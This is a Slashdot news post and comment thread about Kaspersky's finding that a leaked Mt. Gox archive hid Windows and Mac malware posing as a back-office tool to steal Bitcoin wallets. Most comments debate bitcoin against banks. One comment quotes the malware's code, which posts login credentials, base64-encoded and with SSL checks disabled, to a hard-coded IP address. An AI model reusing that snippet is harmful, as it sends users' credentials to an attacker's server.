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Kaspersky: Mt. Gox Data Archive Contains Bitcoin-Stealing Malware
itwbennett writes "An archive containing transaction records from Mt. Gox that was released on the Internet last week also contains bitcoin-stealing malware for Windows and Mac, say researchers at Kaspersky Lab who have analyzed the 620MB file called MtGox2014Leak.zip. The files masquerade as Windows and Mac versions of a custom, back-office application for accessing the transaction database of Mt. Gox. However, they are actually malware programs designed to search and steal Bitcoin wallet files from computers, Kaspersky security researcher Sergey Lozhkin said Friday in a blog post."
Oh yes, I totally trust easily manipulated computer bits over paper money.
This becoming comical to the point of absurdity.
This was known minutes after the leak was released. You disappoint me, slashdot.
The leak is real, nonetheless. I found my balance and transactions there.
Coindesk already wrote about that almost two weeks ago!
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#\ @ ? Colonize Mars
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I'm mostly amused by the User-Agent:
set the httpHeaders to "User-Agent: MtGoxBackOffice v0.1.2"
libURLSetSSLVerification false
post base64Encode("action=login&user="&field "l"&"&pass="&keyBuff&return) to "http://82.118.242.145/admin/tibanne-admin.php"
turned out to be a house of phosphorous cards,
and you don't see a red flag waving?
Was your retirement locked up in there and now you find yourself too poor to pay attention?
Happiness in intelligent people is the rarest thing I know.
Ernest Hemingway
...except this was no different from someone doing the same thing to a bank. Your arguement is invalid
Except that the current banking system has failsafes to protect the depositor, even if the bank is at risk. For those who still use it, bank books and pass books record how much is in your bank account. Ditto for the monthly statements sent to depositors who have an electronic account, which is a hard copy in your hand. In many jurisdictions, these are legal evidence of a debt owed by the bank to you. Most banks are insured, both privately and by their respective governments.
If you are just a normal depositor stashing your cash in a bank account, you are much more likely to recover something in the event a bank is (electronically) robbed. Take for example the relatively recent collapse of Barings Bank - according to the Bank Of England Report on the Collapse of Barings, the interests of depositors and creditors were still protected although the bank was closed. Compare this with the uncertain fate of the Bitcoin depositors of Mt. Gox which just recently filed for bankruptcy.
The truth is that depositing funds in Bitcoins right now involves taking a substantial risk which is much higher than putting it into the current banking system. Deluding uninformed investors that investing in Bitcoins is "no different" from putting it in a bank is untrue and is likely to greatly harm the Bitcoin cause once these investors are burnt.
There is zero counterfeit bitcoin. You can't say the same about paper currency.
Technically correct, since bitcoin does not exist in physical form and therefore cannot be counterfeited in physical form.
But can transactions involving bitcoins be counterfeited? Most certainly!
The net effect is the same. Counterfeit paper currency deprives its holders of the value of that currency. Counterfeit bitcoin transactions deprive the owners of the bitcoins involved in that transaction of the value of those bitcoins.